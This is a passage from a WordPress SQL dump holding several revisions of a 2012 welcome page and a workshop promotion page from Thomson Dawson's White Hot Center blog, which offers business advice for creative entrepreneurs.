to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, brand strategy, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and business development methods for creating greater demand for your products and services. Oh yeah–making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your on-going business development efforts, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts in the comments section. And please share these ideas with your fellow colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2012-02-29 18:39:11', '2012-03-01 01:39:11', '', 172, 'http://www.whitehotcenter.com/2012/02/172-revision-144/', 0, 'revision', '', 0),
(1962, 2, '2012-02-29 18:46:56', '2012-03-01 01:46:56', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg"><img class="alignnone size-full wp-image-1807" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg" alt="" width="450" height="242" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.<strong></strong></h2>\r\n<h2>This blog is dedicated to my fellow entreprenuers in<strong> diverse creative fields like </strong><strong></strong><strong>marketing, design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, communications, computer games, and music production. </strong></h2>\r\n<h2><strong>This is where I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued in the marketplace.\r\n</strong></h2>\r\n<h2>If your business success depends on you''re creative output, I''m confident you''re going to really like it here!</h2>\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, brand strategy, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and business development methods for creating greater demand for your products and services. Oh yeah–making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your on-going business development efforts, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts in the comments section. And please share these ideas with your fellow colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2012-02-29 18:46:56', '2012-03-01 01:46:56', '', 172, 'http://www.whitehotcenter.com/2012/02/172-revision-145/', 0, 'revision', '', 0),
(1963, 2, '2012-02-29 18:53:53', '2012-03-01 01:53:53', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg"><img class="alignnone size-full wp-image-1807" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg" alt="" width="450" height="242" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.<strong></strong></h2>\r\n<h2>This blog is dedicated to my fellow entreprenuers in<strong> diverse creative fields like </strong><strong></strong><strong>marketing, design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, communications, computer games, and music production. </strong></h2>\r\n<h2><strong>This is where I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued by your clients.\r\n</strong></h2>\r\n<h2>If your business success depends on you''re creative output, I''m confident you''re going to really like it here!</h2>\r\n&nbsp;\r\n\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, brand strategy, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and business development methods for creating greater demand for your products and services. Oh yeah–making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your on-going business development efforts, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts in the comments section. And please share these ideas with your fellow colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2012-02-29 18:53:53', '2012-03-01 01:53:53', '', 172, 'http://www.whitehotcenter.com/2012/02/172-revision-146/', 0, 'revision', '', 0),
(1964, 2, '2012-02-29 18:58:22', '2012-03-01 01:58:22', '<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg"><img class="alignnone size-full wp-image-1807" title="thomson-pic" src="http://whc.fbdev.org/wp-content/uploads/2009/05/thomson-pic.jpg" alt="" width="450" height="242" /></a></h2>\r\n<h2>Inspiration, innovation, clarity and confidence for creative entrepreneurs and solo professionals at the early stages of their business success. Nothing is more exciting and rewarding than following a compelling vision for a bigger future, and turning possibilities into achievement.<strong></strong></h2>\r\n<h2>This blog is dedicated to my fellow entreprenuers in<strong> diverse creative fields like </strong><strong></strong><strong>marketing, design, publishing, web/apps development, architecture, film and video, crafts, visual arts, fashion, advertising, writing, communications, computer games, and music production. </strong></h2>\r\n<h2><strong>This is where I write, podcast, speak and teach about the process of creating bigger futures–transforming a formless idea within your mind into something highly valued by your clients.\r\n</strong></h2>\r\n<h2>If your business success depends on you''re creative output, I''m confident you''re going to really like it here!</h2>\r\n&nbsp;\r\n\r\nFirst off, the principles that guide the thinking and discussion here are detailed in the <a href="http://whc.fbdev.org/manifesto/" target="_blank">White Hot Center Manifesto.</a> Before you browse around the site, check that out first. From there, you’ll know if you’re in the right place or not.\r\n\r\nLife success means different things and takes many forms for each of us. Whatever metrics you use to define your own personal success, if you’re like me, you’ll probably relate to this definition from Bob Dylan:\r\n\r\n<strong> “a person is a success when they get up in the morning and go to bed at night–but in between they do whatever they want to do”.</strong>\r\n\r\nIt’s my fundamental belief success in life begins with passion and a commitment to pursue a big idea that burns white-hot and deep within you. If you have a burning desire, allow yourself to trust it and then get on with the business of bringing it into the world. This requires you get comfortable living on the border of what''s known and unknown. Out on the edge is where you''ll find your best opportunities to create more impact, influence and income! There''s no fun in crawliing your way to the middle!\r\n<h2>I’m fascinated with the creative process of bringing value to the world, and the discipline it requires to persevere toward realizing big ideas no matter what.</h2>\r\nAnd nobody connects to ideas on creativity and innovation better than entrepreneurs–a rare breed of human being whose life purpose is to create value for others. To my fellow creative entrepreneurs, serving you with ideas and inspiration is a labor of love for me!\r\n\r\nMy purpose here is to share what I have learned about life success from nearly three successful decades of being a parent, entrepreneur, marketing, brand strategy, communications and creative consultant. I''ve served executives in global companies and start-up entrepreneurs alike. My entire professional life has been engaged in helping successsful business people innovate new ideas, strategies and tactics to create a bigger future. Nothing brings me greater joy and fulfillment than sharing my knowledge, creativity and expertise to help you create the success you desire.\r\n\r\nThroughout the blog, you''ll find lots of articles presenting strategies and tactics for personal growth, professional leadership, lifestyle design, value creation and business development methods for creating greater demand for your products and services. Oh yeah–making lots of money doing what really matters to you is an important part of our conversation here!\r\n\r\nIf you find the ideas presented here useful to your on-going business development efforts, please <a href="http://whc.fbdev.org/" target="_blank">subscribe to receive the White Hot Center </a>posts and podcasts directly in your email. Your free subscription is a reward of trust. I''ll do my best to continue to earn your trust by bringing you inspirational ideas and strategies for your continued personal and business growth.\r\n\r\nYour comments will only elevate and enrich the conversation for all of us. I look forward to you sharing your thoughts in the comments section. And please share these ideas with your fellow colleagues too. Thank you for visiting!\r\n\r\nto your inspired success,\r\nThomson\r\n<a href="mailto://thomson@whitehotcenter.com" target="_blank">Email me</a>\r\n\r\n<a href="http://www.linkedin.com/in/thomsondawson" target="_blank"><strong>Check out my Linkedin Profile</strong></a>', 'Welcome to Inspired Success!', 0, '', 'inherit', 'open', 'open', '', '172-revision-v1', '', '', '2012-02-29 18:58:22', '2012-03-01 01:58:22', '', 172, 'http://www.whitehotcenter.com/2012/02/172-revision-147/', 0, 'revision', '', 0),
(1965, 2, '2012-03-01 15:46:06', '2012-03-01 22:46:06', '', 'WHC-Quantum', 0, '', 'inherit', 'open', 'open', '', 'whc-quantum', '', '', '2012-03-01 15:46:06', '2012-03-01 22:46:06', '', 145, 'http://www.whitehotcenter.com/wp-content/uploads/2009/04/WHC-Quantum.jpg', 0, 'attachment', 'image/jpeg', 0),
(1966, 2, '2012-01-24 02:36:33', '2012-01-24 09:36:33', '&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n<h2><span style="color: #ff7f50;"><strong>The White Hot Center Guide to Creating Competitive Advantage in Your Business.</strong></span></h2>\r\n<h2><strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects. Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong></h2>\r\nIn this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.<span style="color: #333333;"> In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </span>\r\n<h2><span style="color: #333333;"><strong>Quantum Leap\r\nBusiness Development Workshop</strong></span>\r\n<span style="color: #ff7f50;"> <strong> Creating Competitive\r\nAdvantage in your Creative Business\r\n<span style="color: #333333;">Facilitated by Thomson Dawson</span></strong></span></h2>\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong>Watch the video as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\nThis full-day strategic planning workshop is specifically designed to address business development issues faced by creative entrepreneurs and solo professionals who are seeking to have more impact and influence in the sales process. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and helps them to attract more opportunity. Workshop participants learn:\r\n\r\n<strong>•  How to adopt the thinking habits of a proper mindset for success\r\n•  How to create a pipeline full of early-stage buyers\r\n•  How to develop higher value clients and business relationships\r\n•  How to elevate their impact and influence in the buying process\r\n•  How to make competitors irrelevant\r\n•  How to command premium fees for services\r\n</strong>\r\n\r\nThis workshop is limited to 30 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-01-24 02:36:33', '2012-01-24 09:36:33', '', 145, 'http://www.whitehotcenter.com/2012/01/145-revision-100/', 0, 'revision', '', 0),
(1967, 2, '2012-03-01 15:47:32', '2012-03-01 22:47:32', '<h2><strong>Quantum Leap\r\nBusiness Development Workshop</strong><strong> </strong></h2>\r\n<h2><strong>Creating Competitive\r\nAdvantage in your Creative Business\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n<h2><span style="color: #ff7f50;"><strong>The White Hot Center Guide to Creating Competitive Advantage in Your Business.</strong></span></h2>\r\n<h2><strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects. Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong></h2>\r\nIn this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.<span style="color: #333333;"> In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </span>\r\n<h2><span style="color: #333333;"><strong>Quantum Leap\r\nBusiness Development Workshop</strong></span>\r\n<span style="color: #ff7f50;"> <strong> Creating Competitive\r\nAdvantage in your Creative Business\r\n<span style="color: #333333;">Facilitated by Thomson Dawson</span></strong></span></h2>\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong>Watch the video as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\nThis full-day strategic planning workshop is specifically designed to address business development issues faced by creative entrepreneurs and solo professionals who are seeking to have more impact and influence in the sales process. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and helps them to attract more opportunity. Workshop participants learn:\r\n\r\n<strong>•  How to adopt the thinking habits of a proper mindset for success\r\n•  How to create a pipeline full of early-stage buyers\r\n•  How to develop higher value clients and business relationships\r\n•  How to elevate their impact and influence in the buying process\r\n•  How to make competitors irrelevant\r\n•  How to command premium fees for services\r\n</strong>\r\n\r\nThis workshop is limited to 30 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 15:47:32', '2012-03-01 22:47:32', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-101/', 0, 'revision', '', 0),
(1968, 2, '2012-03-01 15:48:29', '2012-03-01 22:48:29', '<h2><strong>Quantum Leap\r\nBusiness Development Workshop</strong><strong> </strong></h2>\r\n<h2><strong><span style="color: #dd9703;">Creating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n<h2><span style="color: #ff7f50;"><strong>The White Hot Center Guide to Creating Competitive Advantage in Your Business.</strong></span></h2>\r\n<h2><strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects. Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong></h2>\r\nIn this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.<span style="color: #333333;"> In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </span>\r\n<h2><span style="color: #333333;"><strong>Quantum Leap\r\nBusiness Development Workshop</strong></span>\r\n<span style="color: #ff7f50;"> <strong> Creating Competitive\r\nAdvantage in your Creative Business\r\n<span style="color: #333333;">Facilitated by Thomson Dawson</span></strong></span></h2>\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong>Watch the video as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\nThis full-day strategic planning workshop is specifically designed to address business development issues faced by creative entrepreneurs and solo professionals who are seeking to have more impact and influence in the sales process. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and helps them to attract more opportunity. Workshop participants learn:\r\n\r\n<strong>•  How to adopt the thinking habits of a proper mindset for success\r\n•  How to create a pipeline full of early-stage buyers\r\n•  How to develop higher value clients and business relationships\r\n•  How to elevate their impact and influence in the buying process\r\n•  How to make competitors irrelevant\r\n•  How to command premium fees for services\r\n</strong>\r\n\r\nThis workshop is limited to 30 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 15:48:29', '2012-03-01 22:48:29', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-102/', 0, 'revision', '', 0),
(1969, 2, '2012-03-01 15:50:00', '2012-03-01 22:50:00', '<h2><strong>Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business</span>\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h1><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h1>\r\n&nbsp;\r\n\r\n<a href="http://whc.fbdev.org/wp-content/uploads/2010/04/CompProofBusiness-ebook.pdf" target="_blank"><span style="color: #ff6600;"><img class="alignnone size-full wp-image-1093" title="Competition Proof Your Business EBook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/freereport.gif" alt="" width="495" height="406" /></span></a>\r\n<h2><span style="color: #ff7f50;"><strong>The White Hot Center Guide to Creating Competitive Advantage in Your Business.</strong></span></h2>\r\n<h2><strong>Many creative entrepreneurs are so focused on the creative output of their work, they struggle keeping their business above the feast and famine cycle of a business model that requires a constant flow of projects. Every solo professional wants to have more opportunity than capacity.  Business development, for many creative business owners, is what they do when there’s not enough work in the shop.</strong></h2>\r\nIn this useful guide, author, entrepreneur, brand strategy and business development consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your creative business.<span style="color: #333333;"> In an age of commoditization in every professional business service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence and impact with your clients! Follow the advice and you’ll experience greater results in business development success. </span>\r\n<h2><span style="color: #333333;"><strong>Quantum Leap\r\nBusiness Development Workshop</strong></span>\r\n<span style="color: #ff7f50;"> <strong> Creating Competitive\r\nAdvantage in your Creative Business\r\n<span style="color: #333333;">Facilitated by Thomson Dawson</span></strong></span></h2>\r\n<span style="color: #333333;"><strong> <a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<strong>Watch the video as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\nThis full-day strategic planning workshop is specifically designed to address business development issues faced by creative entrepreneurs and solo professionals who are seeking to have more impact and influence in the sales process. Participants learn to adopt key business development strategies and tactics that create competitive advantage, and helps them to attract more opportunity. Workshop participants learn:\r\n\r\n<strong>•  How to adopt the thinking habits of a proper mindset for success\r\n•  How to create a pipeline full of early-stage buyers\r\n•  How to develop higher value clients and business relationships\r\n•  How to elevate their impact and influence in the buying process\r\n•  How to make competitors irrelevant\r\n•  How to command premium fees for services\r\n</strong>\r\n\r\nThis workshop is limited to 30 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 15:50:00', '2012-03-01 22:50:00', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-103/', 0, 'revision', '', 0),
(1972, 2, '2012-03-01 15:58:26', '2012-03-01 22:58:26', '<h2><strong>Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business</span>\r\n</strong></h2>\r\n<strong>\r\nFacilitated by Thomson Dawson\r\nin Ojai, California!\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n<h2><span style="color: #808080;">A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</span></h2>\r\n<strong>Without sales there is no business.</strong>\r\n\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n\r\n<strong>Spend one day creating your bigger, better future!</strong>\r\nTake a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.\r\n\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n\r\n<strong>Watch the video as Thomson shares the core ideas covered in the Quantum Leap Business Development Workshop.</strong>\r\n\r\n&nbsp;\r\n\r\nThis workshop is limited to 30 participants. For information on the investment, location and time of the next available workshop, send an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with information on how confirm your spot.<strong></strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 15:58:26', '2012-03-01 22:58:26', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-106/', 0, 'revision', '', 0),
